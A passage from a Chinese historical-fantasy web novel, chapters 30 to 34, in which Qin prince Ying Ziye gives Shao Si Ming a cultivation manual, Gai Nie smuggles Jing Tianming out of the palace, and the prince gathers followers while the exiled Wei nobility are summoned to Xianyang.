他顺势后仰,重新瘫回软榻,“不过说真的——”
烛火映照下,他眸中闪过一丝少司命从未见过的深邃。
“有些戏,总要有人陪我演下去。”
少司命指尖微颤。
她猛然抬头,却见赢子夜懒散地打了
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个哈欠,随手从袖中抽出一卷泛着青光的玉简。
玉简表面缠绕着丝丝缕缕的灵纹,隐约可见古老的篆字。
《青帝长生诀》
“喏,看你修炼的是木属灵力,这个应该适合你。”
他漫不经心地抛了过去。
少司命下意识接住,指尖触碰到玉简的刹那——
“嗡!”
整间内室的烛火骤然染上一层翠色!
案几上的茶盏中,枯萎的茶叶竟以肉眼可见的速度舒展新芽;
窗边盆栽里蔫败的兰花猛地挺直茎秆,瞬息间绽放出三朵晶莹如玉的花苞。
这是……
少司命紫瞳剧震!!!
她从未见过如此精纯的木系**!
玉简上流转的道纹,竟与她体内沉寂多年的乙木真气产生共鸣。
鬼使神差地,她指尖凝聚一缕灵力,按照玉简上惊鸿一瞥的运功路线轻轻一转。
“唰!”
她鬓角垂落的紫发突然无风自动,发梢竟生长出细小的翠绿嫩芽。
更惊人的是,那些常年蛰伏在经脉深处的阴阳咒印,此刻如同遇到天敌般疯狂退缩!!
怎么可能?!
她猛地抬头,却见赢子夜正歪着头打量她发梢的嫩芽,笑得促狭。
“看来很适合嘛。”
少司命指尖发颤。
这部**何止是“适合”。
方才仅仅是浅尝辄止的运行,她对木灵之力的掌控就精纯了三成不止。
若是完整修**……
东皇首领传授的阴阳木咒,相比之下简直粗陋如儿戏!
这个念头刚起,她突然惊觉,自己竟在心底质疑阴阳家的至高秘法。
更可怕的是。
当她再次看向榻上那个慵懒的身影时,胸腔中翻涌的情绪已经超越了震惊。
甚至掺杂着一丝……
敬畏?
赢子夜忽然伸手,在她眼前晃了晃:“回神了。”
不知何时,他已凑到近前,近得能看清她紫瞳中摇曳的烛光。
“要不要试试第二重?”
“听说练到极致,能令枯木逢春,白骨生肌。”
少司命呼吸一滞。
她当然明白这等秘法的价值。
在阴阳家,哪怕是五大长老级别,也没有机会能接触这个层次的典籍。
因为…根本没有。
而眼前这人,却像给糖豆般随手相赠……
“啪!”
赢子夜突然弹了下她额前的碎发,嫩芽应声而落:“再发呆天都要亮了。”
他转身走向床榻,声音带着困倦的含糊。
“记得帮我盯着点,别让那些阿猫阿狗再来扰人清梦……”
少司命怔怔望着他的背影。
此刻她才惊觉,自己竟一直保持着微微前倾的姿态。
这是弟子聆听师长训示时才会有的姿势。
更可怕的是,当赢子夜背对她的瞬间,她下意识就要结印行礼!
我这是……
夜风穿堂而过,吹动她手中的玉简。
那些古老的篆字在月光下流转,隐约组成一株参天古树的虚影。
少司命突然意识到,这部《青帝长生诀》恐怕根本不是凡间**。
而是真正的…
仙家传承!!!
是他幕后那位强者,对她的示好吗……
她缓缓收拢五指,将玉简紧贴心口。
面纱下的唇无意识地抿了抿,最终朝着床榻方向,极轻极快地颔首。
窗外,一片新生的嫩叶飘落在她肩头。
而少司命没有察觉的是。
当赢子夜背对着她闭目假寐时,唇角勾起一抹转瞬即逝的弧度。
……
第31章 只有亲眼见过刀锋,他们才懂得收敛
咸阳城内,一处墨家藏匿点。
密室。
昏暗的烛火映照着斑驳的石壁,血腥气在潮湿的空气中弥漫。
高渐离半倚在墙角,水寒剑横在膝前,剑身上的冰纹已然黯淡。
他嘴角残留着未干的血迹,却仍死死盯着站在阴影中的那道身影,眼中翻涌着刻骨的恨意。
“呵……”
他冷笑一声,嗓音沙哑如刀刮铁锈。
“没想到帝国的走狗,也会救我们?”
盖聂静立不动,渊虹剑鞘上的血迹还未干透。
他肩头的剑伤深可见骨,却仿佛感觉不到疼痛般,只是沉默地望向密道入口。
“盖聂!”
高渐离猛地撑起身子,却又因伤势踉跄了一下,“你也知道无颜面对我们吗?!”
雪女的白绫无声缠上高渐离的手臂,冰蓝色的眸子冷冷扫过盖聂。
“当年你背叛了我们…”
她的声音比往日更加冰冷,“现在又来假慈悲?”
盖聂终于转身。
烛光下,他轮廓分明的面容比十年前更加沧桑。
但那双眼睛,依然如当年在机关城论剑时那般清澈坚定。
“你们不能继续留在这里。”
他的声音很轻,却带着不容置疑的力度。
“黑冰台的**已经锁定这个区域。”
高渐离突然暴起,水寒剑直指盖聂咽喉!
“然后呢?”
“让我们像丧家之犬一样逃窜?”
“就像你当年背叛墨家时那样?!”
剑尖在盖聂颈前寸许停下。
一滴血顺着剑锋滑落,盖聂却连眼睛都没眨一下。
“我知道。”
他平静地说,“我无论怎么解释,都改变不了你们的看法。”
密室突然陷入死寂。
只有角落里渗水的声音滴答作响。
盖聂的手缓缓按上胸口:"但这十年来,我留在咸阳宫,只为完成一个承诺。"
“那就是找到荆轲的儿子,荆天明!”
雪女的瞳孔骤然收缩。
“荆大哥的…儿子?”
高渐离的剑尖微微颤抖,“你…”
“不错,经过这些年的隐忍调查,我终于确认他的下落。”
盖聂的声音低沉而坚定,“就在咸阳宫中。”
烛火突然剧烈摇晃,映照出高渐离瞬间煞白的脸色!
他的剑“铛”地一声砸在地上,整个人踉跄着向前一步。
“你…你是说荆大哥的骨血…这些年来一直在**的巢穴里?!”
“今夜动手前,我已将他带出宫。”
盖聂从怀中取出一块残破的布条,上面染着陈旧的血迹。
正是当年荆轲刺秦时所穿衣袍的碎片。
“现在就在城外安全处。”
高渐离的剑“铛”地一声掉在地上。
这个铁骨铮铮的汉子突然红了眼眶:“他还活着…荆大哥的……”
雪女的白绫也突然绷直,冰晶在空气中凝结成细小的雪花。
“那孩子…现在……”
“没时间了。”
盖聂突然侧耳倾听,渊虹剑微微震颤示警。
“咸阳即将全城**,黑冰台的追踪术不会给我们太多时间。”
高渐离突然抓住盖聂的衣襟,眼中血丝密布。
“十年!你眼睁睁看着那孩子在豺狼窝里待了十年?!”
盖聂任由他抓着,目光平静如深潭:“若要一击必中,就必须等待最完美的时机。”
他轻轻掰开高渐离的手指。
“昨夜六公子府异动,正是千载难逢的机会。”
“若你们信我——”
他抛出一枚墨家密令,“三日后,残月谷!”
雪女接住密令,指尖凝结的冰霜将上面的暗纹映照得清清楚楚。
这是墨家最高级别的接头信物,就连几位统领都没有资格触碰,只有矩子,才知晓其中玄机。
高渐离死死盯着盖聂:“为什么……”
“因为有些路。”
盖聂转身走向密道,背影在火光中拉得很长,“必须有人走下去。”
高渐离的拳头捏得咯咯作响,最终却颓然松开。
“等等!”
“那孩子…长得像荆大哥吗?”
盖聂的背影在烛光中顿了顿:“眼睛很像。”
这句话像一把钥匙,瞬间打开了尘封十年的记忆闸门!!
高渐离仿佛又看见那个豪迈不羁的剑客,在易水畔仰天大笑的模样。
他的身影即将消失在黑暗中时,雪女突然开口:“盖先生。”
十年了,这是她第一次用这个称呼。
盖聂脚步微顿。
“你的伤……”
雪女的声音依旧清冷,却少了几分敌意,“会暴露行踪。”
盖聂没有回头,只是轻轻拍了拍渊虹剑:“无妨。”
当他的身影彻底融入黑暗后,高渐离弯腰捡起水寒剑,指节捏得发白:“阿雪,我们……”
雪女的白绫无声缠绕上他的伤口,冰晶在伤痕处凝结成护膜。
“信他一次。”
她望向密道深处,“就像…当年信荆大哥那样。”
……
城外,一弯残月悄然爬上树梢。
盖聂的身影在官道旁的枯树上稍作停留。
他望向远处隐约可见的咸阳城墙,目光最终落在六公子府的方向。
那道通天剑光,让他想起了一个古老的传说。
天外飞仙……
发出此剑的,究竟是谁?
风声呜咽,盖聂的身影如鬼魅般消失在夜色中。
……
而与此同时,咸阳城外某处荒原之上,一个瘦小的身影正蜷缩在马车里,怀中紧紧抱着一柄木制的小剑。
那是盖聂临走时塞给他的。
剑柄上,刻着两个已经模糊的字:
荆轲。
……
六公子府。
前庭。
晨雾未散,扶苏一袭素白锦袍立于阶前,腰间玉佩轻响。
他眉目温润,指尖正摩挲着一片被剑气削落的瓦当,断面光滑如镜,绝非寻常武者所能为。
“六弟。”
扶苏转身,袖口暗绣的竹纹在晨光中若隐若现。
“昨夜府上可还安好?”
“听闻有刺客潜入,闹出不小动静。”
赢子夜缓步走出,玄色衣袍松松垮垮地披着,闻言略一挑眉:
“大哥消息倒是灵通。”
他随手拂去衣袖上的灰尘。
“不过是些宵小之徒,不足为虑。”
“反正有少司命大人在,刺客来多少都是送死。”
扶苏目光微动,注意到廊柱阴影处飘过的紫纱。
只见少司命静立其间,指尖缠绕的藤蔓上还残留着昨夜交战的剑气。
“早就听闻阴阳家派了少司命大人护卫六弟,倒是周全。”
扶苏收回目光,语气温和,却带着试探。
少司命虽为阴阳家五大长老之一,精于木系阴阳术。
但昨夜那道剑气凌厉至极,分明是纯粹的剑道修为。
与她路数截然不同。
况且,以她的实力,绝无可能一剑震慑整个咸阳城!
他目光微沉,思绪翻涌。
莫非是星魂?
阴阳家左**,十二岁便阅尽阴阳秘典,聚气成刃已臻化境。
传闻他借助阴阳禁术,可令剑气暴
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涨数倍,甚至能短暂匹敌陆地神仙……
但……
扶苏指尖无意识地摩挲着腰间玉佩。
星魂的剑气诡谲阴冷,而昨夜那道剑光却纯粹如天外飞仙,不似阴阳家路数。
他目光扫过赢子夜懒散的背影,眼中闪过一丝锐利。
难道阴阳家还藏着其他强者?
看来,得让淳于越好好查查阴阳家的底细了……
赢子夜见他沉吟,轻笑一声,目光忽然变得深邃:“大哥今日前来,想必不只是关心弟弟的安危吧?”
扶苏神色不变,从袖中取出一卷竹简:“北境传来急报,匈奴又有异动。”
“我想起六弟先前提出的定边之策颇有见地,特来请教。”
赢子夜眼中闪过一丝玩味,慢条斯理地接过竹简。
他指尖在简上轻轻划过,忽然抬眸。
“大哥请教边事是假,想搞清楚我为何要接下遣六国贵族入咸阳这桩差事才是真吧?”
扶苏微微一怔,随即苦笑:“六弟果然敏锐。”
檐角铜铃轻响,一阵风过,吹动两人衣袍。
赢子夜将竹简递还,语气忽然转淡:“边关之事,重在归化。”
“六国遗族,则是震慑!”
他转身望向院中那株被剑气波及的老梅。
“有些人,只有亲眼见过刀锋,才会懂得收敛!”
扶苏顺着他的目光看去,只见梅树枝干上那道平滑如镜的切口,心头蓦地一凛!
再看向赢子夜时,却发现对方又恢复了那副漫不经心的神态。
“时候不早了,”赢子夜整了整朝服,“该去上朝了。”
“大哥若对边事还有疑问,不妨路上再谈。”
扶苏若有所思地点头,两人并肩向府外走去。
当他踏过那片被剑气削平的青砖时,余光瞥见少司命正凝视着赢子夜背影。
那双向来冷漠的紫瞳里,竟闪过一丝他从未在这位死亡使者眼中见过的……
复杂?
回廊上。
车驾的铜铃声渐远,少司命静立廊下,紫纱被晨风轻轻掀起一角。
她低头凝视自己的掌心。
一缕翠色真气如活物般缠绕指尖。
所过之处,竟有点点灵光如萤火飘散。
这是她修炼《青帝长生诀》不过两个时辰的成果。
却已让停滞多年的瓶颈出现了松动!
这**……
她指尖微颤,回忆起玉简中那些玄奥的符文。
仅仅是按照第一重心法运转周天,体内沉寂多年的乙木真气便如枯木逢春。
连东皇太一种下的阴阳咒印都被压制了三分。
紫瞳中闪过一丝罕见的波动!
若修至大成……
忽然,一阵细微的灵力波动打断了她的思绪!
一只幽蓝色的灵蝶穿透晨雾,轻盈地停在她指尖。
蝶翼上流转的阴阳符文,赫然是蜃楼最高级别的召令。
少司命眸光一凝。
灵蝶振翅的节奏带着急促。
这是月神的手笔。
看来昨夜那道剑光,终究惊动了观星台。
她最后望了一眼赢子夜离去的方向。
那个总是一副懒散模样的公子,随手丢给她的**,却可能是阴阳家数百年来都未能触及的……
仙缘。
紫纱翻飞间,她的身影已化作流光掠向蜃楼。
廊柱旁,一株昨夜还被剑气摧残的垂丝海棠,此刻竟在她经过时绽放出三朵新蕊。
而少司命没有察觉的是。
她向来冰冷的眸中,第一次对那个赐予**的人,生出了一丝…
难以名状的涟漪。
……
第32章 剑圣?很强吗?
咸阳宫。
朝堂。
青铜编钟的余音尚在殿梁间回荡。
始皇帝高踞龙台之上,玄色帝袍上的金线龙纹在晨光中泛着冷芒。
他指节轻叩鎏金扶手,每一声脆响都如重锤砸在群臣心头。
“昨夜之事……”
帝王的声音不疾不徐,却让殿内温度骤降。
九旒冕下的目光如利剑般扫过赢子夜:“子夜,你来说。”
赢子夜从容出列。
虽朝服微皱,却自有一派闲适气度。
他略一拱手,声音清朗:
“回父皇,昨夜确有刺客扰府。”
殿中骤然一静。
赢子夜眉梢微挑,似在回忆:“儿臣昨夜睡得早,迷迷糊糊的听到外面有打斗声。”
“还隐约听得‘高渐离’三字。”
他忽地轻笑:“不过……倒是要多谢阴阳家少司命大人,否则…儿臣今日怕是难来上朝了。”
“高渐离?!”
李斯手中玉笏“啪”地砸地。
满朝文武瞬间哗然!
这个名字,实在是有些出人意料。
始皇帝眸中寒芒骤现,九旒玉珠无风自动!
“墨家?”
始皇帝不怒自威道。
这两个字出口的刹那,殿柱上的青铜灯盏齐齐爆裂!
玄鸟帝袍无风自动,腰间定秦剑的铭文渗出刺目血光!
“看来寡人还是对他们太仁慈了。”
帝王缓缓起身,每一步都似踏在众人神魂之上!
他看向赢子夜时,目光中闪过一丝难以察觉的深意。
“你确定…只有墨家?”
赢子夜却依旧从容,指尖不着痕迹地摩挲着腰间玉佩。
“说来惭愧,儿臣当时躲在被窝里,还是少司命大人后来告诉儿臣,说是墨家的逆贼。”
“唉,话说回来,当时真是险!”
“要不是阴阳家拼命相护,儿臣怕是……”
他抬眸时,眼中恰到好处地流露出一丝后怕。
这一下子,如利剑出鞘!
“砰!”
龙案突然“咔嚓”裂开蛛网般的纹路!
“好一个墨家!”
飞溅的木屑中,始皇帝的声音如九幽寒冰:“传诏。”
黑冰台统领如鬼魅般现身,跪伏在地的铠甲上还带着未干的血迹。
“即日起,凡遇到墨家弟子——”
帝王的手指划过虚空,所过之处连光线都为之扭曲。
“格杀勿论!悬首城门!”
惊雷炸响!
赢子夜负手而立,在雷霆中衣袂翻飞。
他望向殿外阴云时,唇角勾起一抹转瞬即逝的冷笑。
恰似利剑归鞘前,最后的锋芒!!
“报——!”
殿外突然传来急促的脚步声。
只见一名黑甲卫士跌跌撞撞冲入大殿,铠甲上还带着未干的血迹。
“陛下!盖聂…盖聂带着一个孩子叛逃了!”
“似是往残月谷方向而去!!!”
“什么?!”
满朝文武瞬间哗然。
李斯胡须一颤,脸色剧变!
蒙恬的虎目圆睁。
满朝群臣,都忍不住倒吸一口凉气!!
那黑甲卫士颤抖着呈上一份染血的密报:“密探还发现…那孩子是……”
始皇帝一把夺过密报,玄色帝袍无风自动!
当他的目光扫过“荆轲之子”四个字时,整座大殿的空气仿佛瞬间凝固!
“砰——!”
龙案在帝王掌下轰然粉碎!!!
木屑飞溅中,始皇帝缓缓抬头,那双眼睛里的寒意让最近的几位大臣不由自主地后退了半步。
“活捉盖聂和那个孩子!”
每个字都像是从牙缝里挤出来的,“别让他逃了!”
李斯硬着头皮出列:“陛下,剑是天下兵器中的王者,而盖聂乃我大秦第一剑圣,想要活捉此人……怕是……”
扶苏也急忙上前:“父皇!盖聂先生多年来忠心耿耿,此事或许另有隐情!!”
文武百官更是噤若寒蝉。
他们面面相觑,低语声如潮水般在殿内蔓延。
李斯手中的玉笏微微颤抖,额角渗出细密的汗珠。
赵高藏在宽大袖袍中的手指死死掐入掌心。
他从未见过陛下如此震怒。
即便是当年成蟜叛乱时,都不曾有过这般恐怖的威压!!
然而。
就在这时。
一道清朗的声音突然打破死寂。
“剑圣?真的很强吗?”
满朝文武惊愕回首,只见那位惫懒散漫的六公子,此刻竟负手立于大殿中央!
晨光透过窗棂洒在他身上,玄色朝服上的螭纹竟似活物般游动。
“六弟!”
扶苏失声惊呼。
赢子夜却恍若未闻。
他缓步向前,每一步都让腰间玉佩发出清脆的碰撞声。
那双总是睡意朦胧的眼睛,此刻竟如出鞘利剑般锋芒毕露。
“昔年大秦攻楚,损兵十万而还。”
他的声音不疾不徐,却在每个人耳中炸响。
“次年父皇发兵五十万——”
轰——!
他突然振袖,袖风竟将殿角的青铜灯盏齐齐震灭!
“强如楚国,照样在大秦铁蹄下灰飞烟灭!!!”
满朝死寂。
李斯闻言,反倒是平静了。
蒙恬的虎目中精光暴涨。
就连赵高都忘了掩饰脸上的震惊!
赢子夜转身直面龙台,衣袂翻飞如战旗:
“盖聂依附大秦,他才是剑圣。”
他忽然抬手,指向殿外苍穹。
“既叛帝国——”
“那这九州天下,便再无他立锥之地!!!”
最后一个字如惊雷炸响!
震得梁上尘埃簌簌而落!
几位年迈的文臣不由自主捂住心口,而武将们则纷纷握紧了剑柄。
他们竟再一次从这位六公子身上…
看到了当年横扫六合的帝王影子!!!
扶苏站在原地,温润如玉的面容罕见地浮现出一丝失神。
这是…六弟?
他望着那道立于大殿中央的身影,恍惚间竟与记忆中的父皇重叠。
那振袖之间的霸气。
那字字如刀的锋芒。
哪里还是那个整日懒散贪玩的六公子?
十年藏拙……
扶苏的指尖无意识地摩挲着腰间玉佩,触感冰凉。
他忽然想起刚才赢子夜那看似无心的一句“躲在被窝里”。
想起他那院子里,四处残留的剑痕……
全是伪装?
这个念头让他呼吸微滞。
若真如此,那这位六弟的心机之深,恐怕连朝堂上这些老狐狸都未能看透。
更可怕的是。
方才那番话,分明是在向父皇展示……
他比任何人都更懂帝王心术!!!
扶苏的眸光暗了暗。
作为长公子,他向来以仁德治国为理念,深受儒家推崇。
可此刻,他却从赢子夜身上感受到了一种截然不同的压迫。
那是一种近乎于父皇的、铁血霸道的统治气息。
若六弟真有此等心性……
扶苏
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不着痕迹地扫了一眼龙台上的始皇帝。
帝王眼中那抹罕见的赞赏,让他心头骤然一紧。
这大秦的未来……
他垂下眼睑,儒雅的眉宇间闪过一丝复杂的情绪。
但当他再次抬眸时,脸上已恢复了往日的温润,只是袖中的手,却不自觉地攥紧了那卷《论语》竹简。
竹简上,“民为贵”三个字,已被他指尖掐出了裂痕。
而不远处。
胡亥站在殿柱旁,指尖轻轻摩挲着袖口暗绣的金线纹路,脸上仍挂着天真无邪的笑容。
可那双澄澈如孩童的眼眸深处,却翻涌着刺骨的寒意。
六哥…藏得好深啊。
方才他的那番话,字字如刀。
竟让自己有种被毒蛇盯上的战栗感!!
依附于帝国才是剑圣,
背叛帝国便无处容身……
胡亥微微歪头,发丝垂落,恰到好处地遮住眼底一闪而逝的阴鸷。
这些话哪里是在说盖聂?
分明是在警告朝堂上所有心怀不轨之人。
包括他胡亥!!!
这个骗子。
他忽然想起昨夜,六公子府剑气冲霄。
当时所有人都以为,那道剑光是某位不知名的绝世强者所发。
可现在看来。
那道剑光,该不会真是……
胡亥低垂着眼睫,唇角依旧挂着无害的微笑,可袖中的手指却缓缓收紧,指甲几乎嵌入掌心。
六哥,十八弟倒真想看看……
你……藏得有多深!!
龙台之上。
九旒冕下的双目微微眯起。
始皇帝凝视着殿中那道挺拔如剑的身影,指腹无意识地摩挲着定秦剑的剑柄。
子夜的话,仍在耳畔回响。
每个字都像一柄重锤,精准敲击在帝王心头最深处!
始皇帝的唇角几不可察地扬起一丝弧度。
那是猛兽发现同类时的兴奋!!
好一个…帝王之言!!!
他想起当年灭楚之战。
大军踏破郢都时,他也曾说过类似同样霸道的话。
如今,竟从这个素来不起眼的儿子口中,听到了如出一辙的……
王者气度。
案几下的手掌缓缓收拢。
始皇帝感受着掌心传来的刺痛!
那是方才震碎龙案时留下的木刺。
然而,这点疼痛比起此刻胸中翻涌的灼热,简直微不足道。
藏拙十年,
示弱于外。
却在今日,以最锋利的姿态亮出爪牙!!!
帝王的目光扫过赢子夜歪斜的腰带,掠过他衣领上刻意保留的糖渍。
最后定格在那双看似惶恐,实则深不见底的眼睛上。
连寡人都险些被你骗过……
玄色帝袍下的胸膛微微起伏。
始皇帝再一次想起那枚让自己重返壮年的仙丹。
想起章台宫对弈时赢子夜落子的精妙。
更想起昨夜六公子府中所展现的……
天外飞仙。
殿外,忽有惊雷炸响!
电光将帝王的面容映得半明半暗!
在群臣看不到的角度,始皇帝眼中闪过一丝近乎狰狞的欣慰。
这大秦的江山……
终于有个像样的继承者了!!
但当赢子夜抬头时,看到的仍是那个威严莫测的帝王。
始皇帝缓缓后仰,九旒玉珠碰撞出清脆的声响,将眸中所有情绪尽数掩在十二道旒珠之后。
唯有一句话,如雷霆般在心底回荡:
让寡人看看……
你能走到哪一步!
第33章 今日起,你们便是本公子最锋利的刀
与此同时。
蜃楼。
观星台。
幽蓝色的星火在青铜灯盏中摇曳。
映照着东皇太一那张黑金面具下深不可测的眼眸。
少司命静立于星图中央,紫纱垂落,指尖缠绕着一缕翠色灵力。
那是《青帝长生诀》运转时特有的生机。
“昨夜之事,如实道来。”
东皇太一的声音沙哑低沉,如砂石摩擦。
少司命抬手,灵力在空中凝结成画面——
先是通天彻地的金色法相拔地而起,鎏金战甲映照苍穹,剑锋所指,云层退散!!
“这是……”
月神银发无风自动,素来平静的眸中掀起惊涛骇浪。
她修**占星术数十载,却从未见过如此纯粹的天地威压!!!
画面再变。
一道白虹自九霄垂落,剑意纯粹得令星盘上的符文都为之扭曲!
“果然是天外飞仙!”
星魂猛地捏碎栏杆,幽蓝火焰在周身暴起。
大司命却并没有关注画面,她猩红的指甲深深掐入掌心,妖艳的面容浮现出难以掩饰的震撼与…嫉妒。
她只死死盯着少司命指尖那缕翠芒。
仅仅一夜,这个沉默寡言的同僚,竟已突破多年桎梏!
东皇太一突然抬手,星图骤然旋转:“赢子夜…可曾现身?”
少司命摇头,紫瞳平静如水。
从头至尾,那位公子都未出手……
她指尖轻点,画面最后定格。
盖聂遁逃,脚下地面却静静躺着一枚被剑气余波削成两半的青铜棋子。
“啪!”
星魂手中的幽蓝火焰突然炸开!
“不可能!若无陆地神仙亲自坐镇,单凭剑威余波就能让剑圣重伤?”
“闭嘴。”
东皇太一沙哑的声音让整个观星台为之一静。
他缓缓起身,黑袍上的星象纹路竟与少司命灵力中的翠芒产生共鸣。
“还有吗?”他凝视着少司命。
少司命指尖轻抬,一卷青光流转的玉简凭空浮现。
《青帝长生诀》五个古朴篆字在虚空中显现的刹那,整座观星台的灵气都为之一滞!!
“这!!”
月神瞳孔骤缩,银发无风自动。
她分明感受到那玉简中蕴含的大道真意。
远比阴阳家最高秘典还要玄奥!
大司命的红唇微微张开,猩红的指甲深深陷入掌心。
她死死盯着少司命周身流转的翠色灵力。
果然!
那分明是已经突破阴阳咒印第三重的征兆!
而她自己,苦修二十年都未能……
凭什么!
嫉妒如毒蛇般啃噬着她的心脏。
但更让她震惊的是,少司命竟当众运转**。
一株虚幻的参天古树在她身后显现,枝叶间垂落的每缕灵光,都让星盘上的符文为之雀跃!!
“咔嚓!”
星魂捏碎了手中的青铜盏,幽蓝火焰在眼底疯狂跳动:“一夜之间,乙木灵体大成?!”
东皇太一枯瘦的手指轻抚星盘,上面代表赢子夜的星辰正绽放出刺目金光。
“传令。”
月神单膝跪地,银发垂落如瀑。
“即日起,少司命常驻六公子府。”
黑金面具下的声音带着不容置疑的决断。
“一切代价…在所不惜。”
少司命深深俯首,紫纱下的唇角微微抿紧。
她比任何人都清楚这个命令的含义。
监视、试探,甚至……
献祭。
但当她想起那卷改变命运的**,想起那个总是懒散笑着的公子……
紫瞳中闪过一丝决然。
大司命死死咬住红唇,直到尝到血腥味。
她看着少司命周身越来越盛的翠芒,看着东皇太一罕见的郑重姿态,突然明白了什么。
原来……这就是东皇阁下选择她的原因。
这一刻。
观星台上所有阴阳家高手,都对着那个沉默的紫衣女子,低下了高傲的头颅。
……
六公子府。
一座四面不透光的密室。
烛火摇曳,青铜兽炉中青烟袅袅。
刚从朝堂上回来赢子夜斜倚在软榻上,指尖把玩着一枚青铜棋子,棋盘上星罗密布,暗藏杀机。
“公子,公输仇已到。”
赵弋苍的声音在门外响起,低沉而肃穆。
赢子夜唇角微勾:“请。”
沉重的脚步声由远及近。
一个身材矮小却精悍的老者踏**内。
公输仇一身墨色长袍,袖口绣着狰狞的机关兽纹,浑浊的眼珠里闪烁着鹰隼般的锐利。
“六公子。”
公输仇拱手,声音沙哑如铁器摩擦。
他打量着眼前这位六公子,却在对方抬眼的瞬间,心头猛地一颤!!
那双眼睛,深邃如渊。
哪有半分他这个年纪的轻浮?
他大半生阅历,也从未见过如此惊艳的人物。
“公输先生。”
赢子夜随手将棋子一抛,“啪”地落在棋盘天元之位。
“近来可好?”
公输仇瞳孔骤缩,枯瘦的手指猛地攥紧。
“公子何必明知故问。”
他声音里带着压抑的怒火。
“自祖师爷败于墨翟之手,我公输家……”
“一直被压着打。”
赢子夜接过话头,轻笑着起身。
他缓步走到公输仇面前,明明比对方只高出半个头,却给人一种山岳倾轧般的压迫感。
“机关朱雀不如木鸢灵巧,破土三郎敌不过非攻变化……”
每说一句,公输仇的脸色就阴沉一分。
“堂堂霸道机关术,竟被墨家那些守旧之徒,压了百年。”
“砰!”
公输仇一拳砸在案几上,眼中血丝密布:“六公子今日,是来羞辱老夫的么?”
赢子夜却笑了。
他袖袍一甩,一卷泛着金属光泽的阵图“唰”地展开在公输仇面前!
“这是……”
公输仇的呼吸瞬间停滞。
阵图上密密麻麻的机关构造,果然是他梦寐以求之物!
那些精妙绝伦的齿轮咬合方式,那些前所未见的动力传导设计……
之前他在赵戈苍手中所见到的那枚“天机轮”。
不过是这阵图中…最常见的一种构件!!
“看懂这个,你便能看懂墨家机关城的核心构造。”
赢子夜的声音如魔鬼低语,“以及…破解之法。”
公输仇的手不受控制地颤抖起来,枯瘦的手指小心翼翼地抚过阵图,仿佛在触碰绝世珍宝!
他浑浊的老眼突然泛起泪光。
“为什么……”
“因为本公子,最讨厌守旧之人。”
赢子夜俯身,在公输仇耳边轻声道:“墨家矩子不是常说‘兼爱非攻’么?”
他冷笑,“那
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本公子就让他们看看……”
“什么叫真正的霸道!!!”
公输仇猛地抬头!
在这个年轻人眼中,他看到了比自己还要炽烈的野心,比深渊还要深邃的城府!
“咚!”
这位机关大师重重跪地,额头抵在冰冷的地砖上!
“公输仇,愿为公子效死!”
赢子夜满意地颔首,随手抛出一枚暗河令牌:“府西有座废弃的铸剑坊,从现在起……”
“它就是你的了。”
当公输仇捧着阵图退出密室时,赵弋苍注意到,这个向来阴鸷的老者,眼中竟闪烁着年轻人般的狂热光芒!!
紧接着,密室内重归寂静。
赢子夜懒洋洋地倚回软榻,随手抓起一颗蜜饯丢进嘴里,嚼得津津有味。
赵弋苍上前一步,抱拳沉声道:
“公子,属下沿途联络的军中旧部,皆已入册。”
“哦?”
赢子夜眼皮都没抬,漫不经心地问,“多少人?”
“五十七人,皆是百战悍卒,因军功不显或得罪权贵,被排挤出军伍。”
“啧,军功爵制已经烂透了,真是埋没人才。”
赢子夜嗤笑一声,“人呢?”
“为避免咸阳耳目,属下将他们安置在城外山林之中。”
赢子夜伸了个懒腰,慢悠悠地站起身,拍了拍衣袍上并不存在的灰尘。
“走吧,去看看。”
……
咸阳城外,山林深处。
夜色如墨,林间雾气弥漫。
五十余名暗河死士静立如松,玄色劲装紧贴身躯,面上皆覆着黑铁面具,只露出一双双冰冷如刀的眼睛。
他们腰佩短刃,背负**箭,气息内敛,却隐隐透出一股肃杀之意!
赢子夜懒散地靠在一棵老树下,目光随意地扫过众人。
“不错,看着挺唬人。”
他含糊不清地评价道。
赵弋苍立于一旁,沉声喝道:“拜见公子!”
“唰——!”
五十余人单膝跪地,动作整齐划一,却无半点声响。
赢子夜摆了摆手,懒洋洋道:“行了,都起来吧。”
众人起身,依旧沉默如铁。
赢子夜打了个哈欠,慢悠悠道:
“你们这些人,在军中不得志,被排挤,被冷落,甚至被构陷……。”
他顿了顿,嘴角勾起一抹玩味的笑。
“不过,从今日起,你们不再是弃卒。”
“而是本公子的刀!!”
林间风声骤紧,似有无形杀意掠过!
赢子夜随手从袖中抽出一卷竹简,丢给赵弋苍。
“萧何即将持天子剑,代本公子遣六国贵族入咸阳。”
“你们……”
他眯了眯眼,语气依旧散漫,却透着一丝不容置疑的冷意。
“暗中护着他,若有人敢动他一根毫毛。”
“杀!”
“诺!!!”
五十七名暗河死士齐声低喝,声如闷雷,却又瞬间归于沉寂。
赢子夜满意地点点头,伸了个懒腰,转身往林外走去。
“走了,回去睡觉。”
赵弋苍跟上,低声道:“公子,是否再增派些人手?”
“六国余孽中不乏高手。”
赢子夜头也不回,懒散地挥了挥手。
“怕什么?萧何若是连这点风浪都扛不住…”
他轻笑一声。
“那也不配执天子剑。”
第34章 **诛心!血脉可存,六国之心当死
三日后。
魏地旧都大梁。
残阳如血!
萧何一袭玄色官袍立于魏王宫旧址前,腰间定秦剑鎏金吞口在暮色中泛着寒光。
身后三百秦甲护卫,森然林立,面具下的眼睛如狼般盯着殿内骚动的魏国贵族。
“沛县萧何,携陛下禁卫,奉天子剑令——”
他声音不疾不徐,却让殿内喧嚣戛然而止。
几个魏氏武人按剑而起,却在看清剑鞘上“受命于天”四字时僵在原地。
“请诸位三日内启程赴咸阳。”
萧何抚过剑柄,指腹摩挲着始皇帝亲手刻下的铭文。
“逾期不至者……”
宫墙阴影里突然传来机括轻响。
众人这才发现,不知何时已有十余名**手扼守各处出口,**箭在暮色中泛着幽蓝!
“萧先生这是要赶尽杀绝?”
一位白发苍苍的魏廷遗老颤声质问。
萧何忽然笑了。
他缓步上前,天子剑连鞘点在老者案前竹简上。
正是秦廷拟的《安民策》。
“我家公子有言:‘六国血脉可存,但六国之心当死!’”
他声音忽然转冷,
“诸位若识时务,咸阳自有富贵,若不然……”
剑鞘轻叩青砖,三百秦甲同时踏前一步。
整座宫殿都在震颤!!
……
而与此同时。
大梁旧都的街巷静得出奇。
毕氏宗族的老族长正在书房踱步,突然烛火一晃。
他猛地回头,只见案几上多了一枚染血的玉佩。
他认得,这正是自家嫡孙的贴身之物。
“这……这……”
老族长颤抖着捧起玉佩,上面还带着余温。
窗外树影摇曳,却不见半个人影。
“子时前,交出名册。”
